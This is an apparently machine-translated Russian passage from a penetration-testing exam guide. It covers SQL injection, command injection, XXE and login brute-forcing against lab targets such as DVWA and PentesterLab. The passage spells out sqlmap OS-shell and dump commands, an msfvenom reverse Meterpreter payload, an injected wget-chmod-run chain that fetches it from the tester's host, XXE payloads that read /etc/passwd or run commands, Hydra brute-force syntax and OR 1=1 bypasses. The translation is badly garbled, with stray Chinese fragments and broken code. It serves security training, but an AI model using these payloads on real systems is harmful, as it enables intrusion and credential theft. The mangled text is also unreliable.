Создайте новый документ Microsoft Word.
Создайте новый документ Microsoft Word.

переводить «Универсальное руководство по сдаче экзамена CompTIA PenTest Exam2019»

Атака на стороне сервера

Как мы узнали из главы 4, большинство организаций предоставляют веб-сайты с доступом в Интернет (или интранет, если тестирование осуществляется за брандмауэром), чтобы предлагать анонимным пользователям организационные возможности, контактную информацию и т. д. Обычный метод развертывания этих типов веб-служб — размещение в демилитаризованной зоне (DMZ), логически или физически отдельной подсети, которая предоставляет доступ к внешним общедоступным службам организации.

инъекционная атака

В этом разделе мы более подробно рассмотрим три различные инъекционные атаки:

lSQL-инъекция(SQLi)

lвведение команд

lВнедрение внешних сущностей XML (XXE)

В главе 4 мы узнали, что во время сканирования уязвимостей вам следует проверять параметры HTTP, чтобы найти возможные точки внедрения, которые ваше веб-приложение не сможет аутентифицировать либо с помощью кода на стороне клиента (JavaScript), либо с помощью кода на стороне сервера (например, PHP). Например, проверка HTML-формы может осуществляться с помощью JavaScript, и когда пользователь нажимает кнопку «Отправить», данные вводятся в поля ввода пользователя (например, «Имя», E-mail, Адрес и т. д.) данные могут обрабатываться с помощью функций JavaScript. Если поле ввода содержит недопустимые данные, страница формы не будет отправлена. Однако этот процесс является клиентским, и пользователи могут манипулировать им для обхода таких проверок. Используя аналогичные правила проверки, код на стороне сервера может обеспечить дополнительный уровень защиты, гарантируя, что данные будут правильно очищены (т. е. удалены недопустимые символы) и проверены во время постобработки. Неправильная проверка входных данных может привести к компрометации веб-сайта или служб приложений с помощью различных векторов атак, включая XXE. команда и SQLi.

SQL-инъекция

Чтобы протестировать SQLi, вам необходимо иметь определенный уровень понимания команд и синтаксиса, используемых для выполнения операций с базой данных. Язык структурированных запросов (SQL) используется для управления данными в удаленных системах управления базами данных (RDMS). Мы обсудили некоторые распространенные RDMS, такие как PostgreSQL, Oracle и MySQL, которые были представлены в главе 4. SQL использует общий синтаксис, используемый в этих базах данных для построения запросов, а именно:

lINSERT: команда, используемая для создания новых записей в базе данных.

lSELECT: команда, используемая для извлечения записей из базы данных.

lUPDATE: команда, используемая для обновления существующих записей в базе данных.

lDELETE: команда для удаления существующей базы данных.

Примечание. В этой главе мы обсудим и будем использовать синтаксис команд SQL, связанный с MySQL RDMS. www.sql-workbench.net/dbms_comparison.html, где представлено сравнение общих функций SQL, которые можно использовать в операторах SQL различных RDM. Существуют разные способы подключения к базе данных MySQL, работающей на удаленном хосте. Один из способов подключения — использовать следующий синтаксис команды. Вам будет предложено ввести пароль пользователя:

Язык кода:javascript
копировать
mysql -u-p -h

Уведомление:Если вы используете--passwordвариант и укажите пароль в командной строке,Пароль появится в списке локальных процессов.,А оболочка, в которой вы работаете (например, BASH), может регистрировать историю ваших команд и помещать хранилище паролей в файл истории. Это неправильный подход,Может предоставить злоумышленникам дополнительный доступ к сети.

Если вы начнете с «root «Подключитесь к серверу MySQL как пользователь, тогда у вас будут все разрешения для работы или создания любой базы, которую вы захотите. данных,Можно даже получить привилегии оболочки с помощью пользовательских функций (UDF). Чтобы просмотреть список разрешений, принадлежащих учетной записи пользователя MySQL,Может быть выполненоshow privileges;существоватьmysql>намекатьпод символом。Обязательно завершайте каждый оператор команды точкой с запятой.。если ты забудешь,MySQL продолжит намекать на ввод другого синтаксиса команды,пока он не распознает точку с запятой. Чтобы получить доступ к определенной базе данных в MySQL,Может быть выполненоuse;командуй тогда,После работы в текущей базе данных,Вы можете начать обработку данных, используя команды, показанные в Таблице 9-1.

Command

Purpose

SHOW tables;

List tables in a database.

DESC <table name>;

Describe column (field)values in a table.

SELECT <column> from <table>;

Выберите поля из таблицы. Например, чтобы просмотреть все учетные записи пользователей в таблице пользователей базы данных MYSQL, выполните следующие действия: SELECT хост,пользователь,строка аутентификации из mysql.user. Другой пример — использование предложения WHERE для фильтрации результатов запроса на основе определенных значений полей; . Пример выбора всех записей из MySQL. Таблица пользователей, в которой находится user='root': SELECT хост, строка аутентификации из mysql.user WHERE user "root";

INSERT INTO<tablename>(column1,column2, column3,... ) VALUES (valuel, value2,value3, …);

Команда INSERT позволяет вставлять новые записи с заданными значениями в определенном порядке столбцов. Эти значения должны соответствовать схеме базы данных, определенной для каждого столбца, как показано при использовании команды DESC для описания данной схемы таблицы. Системы RDBM используют ключи для управления уникальными записями в базе данных. Первичный ключ — это столбец или набор столбцов, который уникально идентифицирует каждую строку в таблице, часто упоминается с использованием имени, например «id». Внешний ключ — это поле в одной таблице, которое соответствует другому полю в другой таблице. Это ограничивает данные в связанных таблицах и помогает таким базам данных, как MySQL, поддерживать ссылочную целостность.

DELETE <database name>;

Удаляет данную базу данных из MySQL. Вы также можете сокращенно называть это DEL.

Таблица 9-1 Общие команды MySQL

Пользовательские функции (UDF) в MySQL

UDF — это способ расширить MySQL новыми функциями, которые работают как собственные (встроенные) функции MySQL, такие как CONCAT(). Чтобы использовать UDF во время тестирования на проникновение, в целевой MySQL должны быть установлены/настроены функции sys_eval и sys_exec, а также иметь место на диске для записи (для Linux это обычно /tmp, для Windows, если у пользователя установлена ​​система права, это обычно так в дефолтных установках, писать можно где угодно). Если скомпрометированный сервер MySQL имеет эти возможности, а у учетной записи пользователя есть разрешения на выполнение этих возможностей в запросах MySQL, вы можете использовать команду sqlmap для подключения и выполнения оболочки операционной системы, используя аналогичный синтаксис команды: # sqlmap -d "mysql://root:password@192.168.1.60:3306/test" Команда --os-shellsqlmap все равно перетащит вас в ОС shell>намекатьсимвол;но,Если эти функции не существуют,После подключения к базе данных вы увидите предупреждающее сообщение. Чтобы узнать больше о UDF в MySQL,Вы можете просмотреть следующие модули Metasploit: эксплойт/multi/mysql/mysql_udf_payload

от SQLинъекционная HTTP-параметры атаки обычно включают два типа данных: один — целое число, другой — строку. в сети В запросе GET или POST параметр, содержащий строковое значение, выглядит примерно так: http://example.com/test.php?name=John%20Smith, где %20 — это пустая кодировка URL-адреса. URL-адреса, обрабатываемые веб-сервером или приложением, не могут содержать пробелы. Таким образом, кодирование URL-адресов помогает заменить потенциально опасные значения ASCII на % и две шестнадцатеричные цифры. в сети В запросе GET или POST целочисленное значение обычно выглядит следующим образом:

Язык кода:javascript
копировать
http://example.com/test.php?id=1.

намекать您可以существоватьwww.w3schools.comУзнайте больше оURLкодирование и прочееWebконцепция(нравитьсяHTML、CSS и JavaScript) для получения дополнительной информации. В следующем примере кода PHP показано, как обрабатывать HTTP на сервере для запроса ПОЛУЧИТЬ значения «id=":

Язык кода:javascript
копировать
$id = $_GET["id"];
$item= mysql_query("SELECT * FROM my.store WHERE id=".$id);
$row = mysql_fetch_assoc($item);
// ..additional code omitted below..
?>

Функция mysql_query() в коде PHP создаст запрос к my.store. Сохраняет базу данных и возвращает все выбранные данные, поле идентификатора которых соответствует данному запросу. Функция mysql_fetch_assoc() вернет результирующий массив значений, сгенерированных запросом. Различные типы SQLi-атак включают в себя следующее:

lслепойSQL-инъекция:Кбаза данных запрашивает последовательность правильных или неправильных вопросов и оценивает ответ веб-сервера.

lSQL-инъекция на основе ошибок:использоватьбаза ошибка данных при получении допустимого оператора, который можно использовать для получения из базы Извлеките другой контент из данных.

lSQL-инъекция запроса объединения:构建существовать查询中использоватьиз原始SELECT()на основе заявлений,расширить результаты, превосходящие ожидания.

lSQL-инъекция составного запроса:Это работает так: он завершает исходный запрос и выполняет другой запрос.,Например, выберите все записи из MySQL. Пользовательская таблица. Например:

Язык кода:javascript
копировать
http://example.com/test.php? id=1;select%20*%20from%20mysql.users--

Чтобы оценить, является ли параметр инъекционным, например id= в предыдущем примере. поле, вы можете попробовать ряд критериев внедрения, чтобы получить из базы ошибка в данных, как описано в предыдущей главе. Это также известно как SQL-инъекция на основе ошибок, когда серверная база Ошибки, генерируемые данными, будут оцениваться по критериям потенциального внедрения. Ошибки MySQL, такие как:

Язык кода:javascript
копировать
1064 - You have an error in your SQL syntax; check the manual that corresponds to your

Версия сервера MySQL,использовать правильный синтаксис рядом с «» в строке 1. Может помочь вам разработать эффективный синтаксис SQL-инъекции.,по инъекционным параметрам. но,Если на веб-сервере возникла общая ошибка,Например: «Извини,Ваши критерии поиска неверны",то этот параметр все еще может иметь лазейки,Но ваш запрос недействителен,Нужно устранить неполадку. Решение проблем с запросами,Вы можете использовать так называемый слепой SQLi,这是существовать看不到база данные экспортируются из базы данных Еще один способ фильтрации данных в。использоватьслепойSQLiДва распространенных методаНа основе логического значенияиоснованный на временииз。На основе логического Значения значений SQLi заключаются в том, чтобы базировать данных запрашивает вопрос True (например, id=1 и 1=1) или False (например, id=1 и 1=2) и определяет ответ на основе ответа, предоставленного приложением, что может быть ошибкой содержимого. или пустая страница. основанный на SQLi времени зависит от базы данные приостанавливают (или засыпают) на заданное время, а затем возвращают результат, который указывает на то, что SQL-запрос был успешно выполнен. Например, выполните действие на основе метода Theysql_query() в примере PHP-кода. на SQLi на время может выглядеть так

http://example.com/test.php?id=1'and sleep(5)—

Если параметр id= подвержен слепому SQLi, загрузка веб-страницы будет задержана на пять секунд. На этом этапе вы можете продолжать использовать слепой SQLi для перечисления допустимых символов, составляющих имена баз данных, имена таблиц и, возможно, пароли/хеши в mysql. Таблица пользователей, в зависимости от прав пользователя базы данных, выполняющего запрос. Это линейный поиск, в котором каждое значение оценивается до тех пор, пока не будет найден правильный символ:

lЕсли первая буква имени базы данных — «а», подождите пять секунд.

lЕсли первая буква имени базы данных — «b», подождите пять секунд.

двоичный поиск是另一种有助于加速слепойSQLi攻击из方法,В этом методе,可以从排序数组中识别Цель值из位置。Принцип его работы заключается:двоичный поиск определит средний элемент массива и сравнит его с целевым значением (в массиве будут все символы, составляющие таблицу ASCII). Возвращается, если средние элементы совпадают. Однако если значение превышает позицию среднего элемента, нижняя половина массива отбрасывается из поиска и в критериях поиска используется только оставшаяся верхняя половина. Уязвимостьбаза В статье «Быстрая слепая MySQL-инъекция с использованием битовых сдвигов» на сайте данныхвеб-сайта (https://www.exploit-db.com/papers/17073) рассказывается, как оптимизировать двойной SQLi-атаку во время слепой атаки. Пример поиска.

1. Но весьма вероятно, что слепой SQLi отнимает много времени. Лаборатория тестирования на проникновение (https://pentesterlab.com) предоставляет бесплатные лабораторные работы и упражнения, которые вы можете использовать, чтобы продемонстрировать свои навыки тестирования, включая SQLi. Следующая часть этого раздела будет посвящена теме «От SQL-инъекции к Shell» от Лаборатории тестирования на проникновение веб-сайт. «Загрузите образ диска Международной организации по стандартизации (ISO) в упражнении. Этот ISO также доступен в Интернете вместе с книгой (подробности см. в приложении). В этом упражнении я предполагаю, что у вас есть рабочая, обновленная версия Kali. Копия Linux и какое-либо программное обеспечение для виртуализации (например, VMware). Workstation、VMware Player、Oracle Virtualbox и т. д.) для размещения образов дисков ISO. Далее мы продемонстрируем, как использовать sqlmap для тестирования и оценки моего замечательного фотоблога. PHP Веб-параметры для уязвимостей SQLi в веб-приложениях. Как только уязвимая виртуальная машина будет запущена в вашей тестовой среде, перейдите на веб-страницу, на которой размещена виртуальная машина: http://. (https://pentesterlab.com/exercisions/from_sqli_to_shell/course)

2. Если вы нажмете «Тест» в строке меню, вы перейдете на другую страницу, на которой представлены другие изображения, опубликованные на странице блога. URL-адрес заполнен следующим содержимым:

Язык кода:javascript
копировать
http:///cat.php?id=1

3. Продолжим тестирование параметра id= и вставим кавычку (') после числа в поле id, как показано ниже «?id=1». После отправки URL-адреса обратно в веб-приложение вы должны получить ошибку MySQL 1064, описанную ранее.

4. Теперь, когда мы знаем, что база данных обрабатывает наш запрос, а приложение не проверяет вводимые данные и не отфильтровывает специальные символы из запроса, мы можем использовать sqlmap для проверки параметров. В командной строке Kali Linux выполните следующие действия.

Язык кода:javascript
копировать
# sqlmap -u http:///cat.php?id=1

Команда sqlmap должна идентифицировать базу данных как MySQL и спросить, следует ли пропустить тестирование полезной нагрузки для других RDM. Введите Y и нажмите ENTER. Затем снова введите Y, чтобы включить все тесты MySQL, и введите N, когда вас попросят продолжить тестирование дополнительных параметров.

Уведомление:sqlmap将существовать中из用户主目录下(Если вы используетеKali,Затем /root) выводит результаты ((log, target.txt и session.sqlite).sqlmap/output/.

5. Если мы исследуем файлы журналов, мы увидим, что параметр id рассчитывается с помощью HTTP-запроса GET, и обнаружим, что существует несколько типов внедрения, в том числе

lОслепление на основе логических значений

lНа основе ошибок

Ослепление на основе земли/ИЛИ по времени

На изображении ниже показаны типы внедрения и каждая заданная нагрузка, протестированная с использованием sqlmap, чтобы доказать, что внедрение возможно.

6. Следующим шагом будет использование sqlmap для атаки на уязвимость SQLi с целью чтения произвольных данных из базы данных. Если вы заметили строку меню веб-приложения PHP, это страница входа администратора. Давайте посмотрим, сможем ли мы извлечь пользователя и, возможно, хэш из базы данных, чтобы скомпрометировать доступ для входа в систему. Поскольку это лабораторная среда, давайте запустим ту же команду sqlmap, которую мы использовали на шаге 4, но добавим «-a» к синтаксису команды и позволим sqlmap делать что-либо с базой данных MySQL, используя разрешения пользователя базы данных, выполняющего запрос. Вы увидите, что sqlmap способен извлекать пользователей и хэши из таблицы «пользователи» базы данных «фотоблог». Это также нормально, если мы хотим использовать список слов для взлома хэшей MD5. Просто нажмите ENTER, чтобы продолжить использовать значения по умолчанию. Через минуту или две карта SQL сможет взломать хэш, используя список слов по умолчанию.

7. Результаты sqlmap снова сохраняются в /root/. sqlmap/output/ содержит новый каталог с именем dump, в котором есть подкаталоги для каждой базы данных, из которых sqlmap может обнаруживать и перечислять информацию. Файл dump/photoblog/users.csv содержит имя пользователя и пароль, используемые для входа на страницу администратора. Ниже представлена ​​страница успешного входа в приложение Photoblog:

намекать:与использовать-a选项использоватьsqlmapСнимайте все по-другому,您可以通过использовать-tablesиз текущегобаза Стратегически исследуйте то, что вы ищете, находя все таблицы в данных для заданного параметра HTTP, который запрашивает приложение. Затем вы можете использовать --sql query="select * from photoblog.users" и верните каждую запись из таблицы пользователей. Затем используйте правило для передачи хеша MD5, полученного из sqlmap, в список слов и используйте John the Ripper (JtR) Передай ему список слов

Язык кода:javascript
копировать
# john --format=Raw-MD5 –-rules --wordlist=rockyou.txt

С другой стороны, тестировать все с помощью sqlmap с опцией -a может быть опасно. Если база данные уже загружены на полную мощность, выполнение синхронных запросов во время тестирования может непреднамеренно привести к сбой данных. В исполнении может привести база данные, ожидающие запроса (например, основанный на После атаки времени), база монитора Состояние и состояние данных/веб-сервера являются хорошей практикой. SQL-инъекция должна дополнительно обсуждаться с заказчиком при работе в производственной среде. атака и используйте sqlmap в процессе взаимодействия, чтобы клиенты понимали потенциальные риски, связанные с использованием автоматизированных инструментов тестирования SQL-инъекций. Другие упражнения, которые вы можете использовать для улучшения своих навыков SQLi:

Язык кода:javascript
копировать
• https://hack.me/t/SQLi
• www.gameofhacks.com/
• https://sqlzoo.net/hack
введение команд

в этом разделе,Оценим командную инъекционную атаку, и как мы использовали Metasploit для создания пользовательских полезных нагрузок с использованием msfvenom и использовали эти полезные нагрузки с мультипроцессорами для создания сеансов MeterPeter, которые можно было использовать для повышения привилегий и дальнейшего перенаправления в сеть целевой организации. Следующая часть этого раздела будет посвящена загрузке образа диска ISO из упражнения «Тестирование на проникновение для Интернета» веб-сайта Лаборатории тестирования на проникновение. Этот ISO также предоставляет онлайн-контент, сопровождающий эту книгу (подробности см. в приложении). Для этого упражнения я предполагаю, что у вас есть рабочая обновленная версия Kali. Копия Linux и какое-либо программное обеспечение для виртуализации (например, VMware). Workstation、VMware Player、Oracle Virtualbox и т. д.) для размещения образов дисков ISO. После включения виртуальной машины откройте веб-браузер и перейдите на домашнюю страницу, расположенную по адресу http://. Затем мы продемонстрируем, как использовать внедрение, расположенное на домашней странице уязвимой виртуальной машины. Введение находится в параметре ip= примера 1 под заголовком команда командлазейки。

1. Учитывая следующий уязвимый веб-параметр ip=,Мы можем протестировать различные команды инъекционной атаки., во-первых, на какой операционной системе и архитектуре размещено веб-приложение. Следующее — добавить uname в уязвимый параметр. Пример вывода с -a.

приноситьcurlизвведение команд

Если вы хотите проявить творческий подход, вы можете использовать некоторую обработку команд и использовать Curl для выполнения команды, а затем отфильтровать возвращаемый вывод команды. Ваша команда будет выглядеть так:

Заказ:

Язык кода:javascript
копировать
# curl http://192.168.1.108/commandexec/example1.php?ip=";uname%20-a" 2>&1 | awk '//{flag=1;next}/pre>/{flag=0}flag'

Выход:

Язык кода:javascript
копировать
Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686

Команда используется для запуска HTTP GET, затем перенаправить стандартную ошибку (stderr) на стандартный вывод (stdout), а затем передать вывод Curl в фильтр awk, который возвращает данные только между предварительно отформатированным текстом (и HTML-тегами) на веб-странице. Остальное делает веб-сервер. вывод команды.

2. Теперь, когда мы знаем, что архитектура — x86, а хостовая операционная система — Linux (Debian), давайте создадим уязвимость, используя msfvenom, чтобы сгенерировать полезную нагрузку обратной оболочки Meter, от которой мы сможем получать обратные вызовы с помощью мультипроцессора Metasploit. Во-первых, давайте воспользуемся msfvenom для создания эксплойта с именем «cmd», который подключается обратно к вашему IP-адресу и локальному порту (4444/tcp), используя полезную нагрузку обратного счетчика для архитектуры Linux x86:

Язык кода:javascript
копировать
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=4444 -f elf -o cmd

3. Затем используйте Python для размещения веб-сервера на порту 80, используя модуль SimpleHTTPServer в том же каталоге, где находится уязвимость «cmd»:

Язык кода:javascript
копировать
# python -m SimpleHTTPServer 80

4. В другом окне терминала на поле Kali.,запускатьmsfconsole并существоватьmsf>намекатьпод символом键入以下Заказ:

Язык кода:javascript
копировать
msf> use exploit/multi/handler
msf exploit (multi/handler)>set payload linux/x86/meterpreter/reverse tcp
msf exploit(multi/handler) >set lhost
msf exploit(multi/handler)>exploit

Теперь давайте объединим ряд команд, чтобы наша цель загрузила эксплойт, добавила к эксплойту бит выполнения, а затем выполнила его, чтобы получить обратную оболочку. В веб-браузере добавьте следующий синтаксис команды к параметру ip=, а затем выполните HTTP. ПОЛУЧИТЬ запрос:

Язык кода:javascript
копировать
ip=127.0.0.1;wget%20-O%20/tmp/cmd%20http:///cmd;chmod%20755%20/tmp/cmd;/tmp/cmd

6. Веб-сервер должен сначала выполнить wget, загрузить уязвимость «cmd» с простого HTTP-сервера Python, затем использовать chmod для добавления бита выполнения, а затем выполнить уязвимость в ответ, вы должны увидеть ветвь сеанса MeterPeter в Metasploit; , как показано в следующем примере: Показать:

Внедрение внешних сущностей XML (XXE)

Еще одной уязвимостью, общей для серверов веб-приложений, анализирующих сообщения XML, является внедрение XML-внешнего объекта (XXE). Объекты XML могут быть объявлены внутри или вне приложения.,并用于定义特殊字символиз快捷方式。Сущность состоит из трех частей:один с(&)、一个实体名称и一个分号(;)。要существовать外部документопределение типа(DTD)Объявляйте внешние сущности в,Можно использовать следующий синтаксис:

Язык кода:javascript
копировать
<!ENTITYexample SYSTEM "https://www.example.com/entities.dtd">

DTD используется для определения структуры и атрибутов XML-документов. XXE-инъекция происходит во время HTTP-запроса POST (в редких случаях запрос GET может облегчить этот тип атаки), когда указатель объявления внутри XML-документа изменяется или добавляется в место, отличное от исходного объявления объекта, и приложение обрабатывает запрос и возвращает результат без предварительной проверки ввода. Ниже приведен XML-документ для проверки концепции, содержащий внутреннее объявление объекта DTD для локального файла /etc/passwd:

Язык кода:javascript
копировать
<?xmlversion="1.0"encoding="ISO-8859-1?>
<DOCTYPE test[<!ELEMENT test ANY>
<ENTITY loginSYSTEM file:///etc/passwd]>
<auth>
<user>&login;</user>
<password>Password</password>
</auth>

lThe! Тест DOCTYPE определяет корневой элемент документа как тест.

lТестовый элемент определения теста ELEMENT может содержать любой элемент.

ЭЛЕМЕНТ! называется входом в систему и объявляется как локальный файл /etc/passwd.

Теги XML в lDTD определяют значения сущностей, которые анализируются и обрабатываются приложением. В этом случае пользовательские поля определяются внутренне объявленной сущностью.

После того как документ XML отправляется на сервер вместе с данными POST, приложение обрабатывает код и сообщает серверу, что нужно найти внутренний объект, file:///etc/passwd, а затем вводит ответ в поле пользователя. Приложение настроено на возврат имени «пользователя», который только что вошел в систему, однако в этом случае «пользователем» будет содержимое локального файла /etc/passwd:

Язык кода:javascript
копировать
You have logged in as user
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:X:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

PHP разрабатывается независимо от платформы,Может работать на всех типах операционных систем. PHP поддерживает множество различных типов модулей.,Эти модули можно установить и настроить для облегчения обработки данных.,Даже выполнять команды операционной системы. Модуль Expect не загружается по умолчанию,Но если включено,Это может повысить важность уязвимостей XXE. Существует два типа функций Expect.,«expect_expectl()» и «expect_popen()»,Они выполняют команды через командную оболочку, такую ​​как BASH. Если установлен модуль Expect,Мы можем изменить полезную нагрузку XML, чтобы воспользоваться преимуществами модуля Expect.,Выполнять системные команды,И просмотрите Выход:

Язык кода:javascript
копировать
<?xmlversion=1.0"encoding="ISO-8859-1"?>
<DOCTYPE foo [<!ELEMENTfoo ANY>
<ENTITY xxeSYSTEM "expect://id">]
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Ответ сервера выглядит следующим образом:

Язык кода:javascript
копировать
You have logged in as user uid=33(www-data) gid=33(www-data) groups=33(www-data)

XXE входит в десятку лучших OWASP. Хотя удаленное выполнение кода через XXE может быть не таким распространенным явлением, как чтение системных файлов при объявлении внутренних и внешних указателей, это все же тип атаки, который может привести к полной компрометации операционной системы сервера приложений и позволить злоумышленникам проникнуть в более глубокую сеть организации. Чтобы узнать больше об атаках XXE и о том, как устранить уязвимости в слабо настроенных анализаторах XML, ознакомьтесь с шпаргалкой по предотвращению XXE внешних объектов XML, расположенной на веб-сайте OWASP (https://www.owasp.org).

Атака на аутентификацию и управление сеансами

В этом разделе мы более подробно рассмотрим три различных типа аутентификационных атак против имени пользователя и пароля, а также аутентифицированных токенов сеанса. Эти темы включают в себя следующие типы атак:

lИсполнение сертификатов

lОбход аутентификации

lПрогнозирование сеанса

В главе 4,Узнали о правилах сложности паролей,и как следует проверять пароли, чтобы убедиться, что они соответствуют определенным стандартам соответствия. в противном случае,Пароли могут подвергаться атакам методом перебора или атакам на основе словаря. Атаки обхода аутентификации и прогнозирования сеанса вызваны плохой разработкой приложений или недостатками реализации. в этом разделе,Мы рассмотрим различные инструменты и методы, которые можно использовать при тестировании на проникновение для эксплуатации этих типов уязвимостей.

Страница входа в систему методом грубой силы

HTML-формы используются для чтения и обработки данных, введенных пользователем из веб-браузера. После того как пользователь вводит данные в поля формы и нажимает кнопку для отправки данных, браузер выполняет запрос HTTP POST и отправляет тело сообщения веб-приложению для обработки. При просмотре исходного кода HTML в веб-браузере HTML-форма будет выглядеть следующим образом:

Язык кода:javascript
копировать
<formaction="/login.php" method="post">
Username:<inputtype="text" size="20" name="username"><br>
Password:<inputtype="text" size="8" name="password"><br>
<inputtype="submit" value="Submit">
</form>

Этот пример страницы формы обрабатывает два поля ввода пользователя: имя пользователя и пароль. Во время тестирования на проникновение вы можете столкнуться с серверами приложений, которые разрешают пользователям доступ через аутентификацию по имени пользователя и паролю. Формы такого типа часто становятся целью атак методом перебора входа в систему. CeWL — это Ruby-приложение, которое сканирует заданный URL-адрес и возвращает список слов, которые можно использовать с программами взлома паролей (например, John the Ripper) или даже с инструментами грубого входа в систему (например, Hydra). Hydra предоставляет возможности грубого входа в систему и поддерживает несколько типов протоколов, включая SSH, MySQL, SMTP, Telnet, LDAP, RDP, SMB и HTTP. И CeWL, и Hydra предустановлены в Kali Linux.

намекатьсуществовать示例登录页面изHTMLв исходном коде Уведомление,Ограничение размера текстового поля установлено на 8.,Это означает, что он будет обрабатывать только первые восемь символов в поле ввода. поэтому,Если вы хотите создать список слов или правило пароля для принудительного входа в систему,тогда вам нужно только определить пароли или правила,Длина может составлять до 8 символов. Damn Vulnerable Web Application (DVWA) (http://dvwa.co.uk) — бесплатное программное обеспечение.,Запуск как веб-приложение,Уязвим для многих распространенных типов веб-атак. Пользователи могут загружать, устанавливать и изменять приложения в соответствии с условиями Стандартной общественной лицензии GNU. Я буду использовать DVWA в качестве базового примера того, как заставить страницу формы входа в систему. После настройки DVWA,Вы можете получить доступ к странице входа в свой веб-браузер, используя следующий URL-адрес: http:///DVWA/login.php. Страница входа будет выглядеть как Рисунок 9-1.

Рисунок 9-1 Страница входа в систему DVWA

Если мы не знаем имя пользователя и пароль для входа в систему, вы можете использовать свой любимый список слов, например, тот, который находится в /usr/share/wordlist в Kali Linux, или использовать CeWL для создания собственного списка слов для URL-адреса, используя тот с целевой страницы слова и фразы, извлеченные из файлов . Ниже приведен пример выполнения CeWL из командной строки в Kali Linux, как показано на рисунке 9-2:

Рис. 9-2 Вывод команды CeWL

Язык кода:javascript
копировать
# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa

Доступны следующие параметры команды:

подробный вывод l-v

l-d Глубина паука, значение по умолчанию — 2;

l-m минимальная длина слова

l-w записывает вывод в файл

Теперь мы можем использовать список слов Hydra для принудительного открытия страницы входа. Однако перед использованием Hydra нам необходимо перехватить POST-запрос, отправленный на сервер для обработки, поскольку нам необходимо ввести правильные параметры в Hydra, чтобы наш запрос перебора можно было правильно отформатировать. Итак, запустите свое любимое программное обеспечение веб-прокси, чтобы перехватывать поддельные запросы на вход на ваш сервер. (Я использовал прокси-сервер Burp, но для выполнения этой задачи можно использовать OWASP ZAP, инструменты разработчика Firefox, данные Tamper Data и т. д.). После включения прокси-сервера в Burp и настройки веб-браузера на использование порта прокси-сервера Burp , мне удалось перехватить запрос на вход на сервер, как показано на рис. 9-3.

Рисунок 9-3 Запрос на вход в прокси-сервер Burp

Как вы можете видеть в теле запроса POST, имя пользователя=, пароль=, имя_логина= — это три допустимых параметра, составляющих запрос на вход. Теперь, когда у нас есть правильные веб-параметры для предоставления Hydra, мы можем выполнить следующий синтаксис из командной строки в Kali Linux:

Язык кода:javascript
копировать
#hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

Пример вывода показан на рисунке 9-4.

Рис. 9-4 Вывод команды Hydra

Параметры команды следующие:

l-lВход пользователя

l-PЗагрузить несколько паролей из файла

lhttp-post-form用于请求из服务模块。

l""Опции модуля;существовать本例中,Мы используем тело сообщения URL и POST. ^USER^ и ^PASS^ содержат параметры команды пользователя и пароля.

l-VПодробный режим。

По данным Hydra,насУспешно определен действительный пароль для администратора.,Было использовано тринадцать возможных паролей, скопированных со страниц DVWA. Когда CeWL сканирует информацию «намекать» внизу веб-страницы.,Найден текст «Пароль».

Язык кода:javascript
копировать
# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa
#hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

Обход аутентификации

Вход в систему методом грубой силы может оказаться утомительной и трудоемкой задачей.,Особенно, когда аппаратные ресурсы тестирования ограничены. Обход страницы входа — один из способов обеспечить мгновенный доступ.,无需付出额外из努力来尝试找出有效из用户名/Комбинация паролей。Обход аутентификации Существует множество способов атаки:

lПринудительный просмотр

lSQL-инъекция

lИзменение параметров

l Прогнозирование идентификатора сеанса

Для входа в веб-приложение обычно используются страницы формы входа в формате HTML и токены сеанса для аутентификации.,Токен сеанса проверяется сервером,Токен можно использовать для доступа к другому контенту веб-сайта. Если действительный токен не отображается при доступе к странице с ограниченным доступом,Пользователь должен пройти аутентификацию. но,Если веб-приложение обеспечивает контроль доступа только на странице входа в систему,И больше нигде на сайте нет обязательного контроля доступа.,при успешном доступе к странице на веб-сайте без предварительной аутентификации.,Режим аутентификации можно обойти。Этот метод атаки называетсяПринудительный просмотр。существовать渗透式测试期间,Вы можете продемонстрировать этот тип атаки, попытавшись получить доступ к защищенной странице.,чтобы увидеть, еслинамекать您руководить身份验证或是否能够看到受限制из内容。SQL-инъекция — еще один способ,恶意用户可以использоватьOR 1=1 создает оператор True и передает его в поле имени пользователя или пароля на странице формы HTML. Если приложение не очищает вводимые пользователем данные, база данных может прочитать оператор и разрешить продолжить аутентификацию без правильного имени пользователя или пароля, необходимых для входа в систему.

Уведомление:нравиться果Webприложение илибаза данные не проверены, используйте ИЛИ SQL-инъекция с истинными утверждениями типа 1=1 может привести к плохим результатам. Учитывая следующий оператор SQL:

SELECT UserName,Password FROM Users WHERE ID =100 OR 1=1;

SQL действителен и вернет каждую строку в таблице «Пользователи», поскольку OR 1=1 всегда имеет значение TRUE. Злоумышленник может получить доступ ко всем учетным данным из базы данных, просто вставив 100 ИЛИ 1=1 в поле ввода.

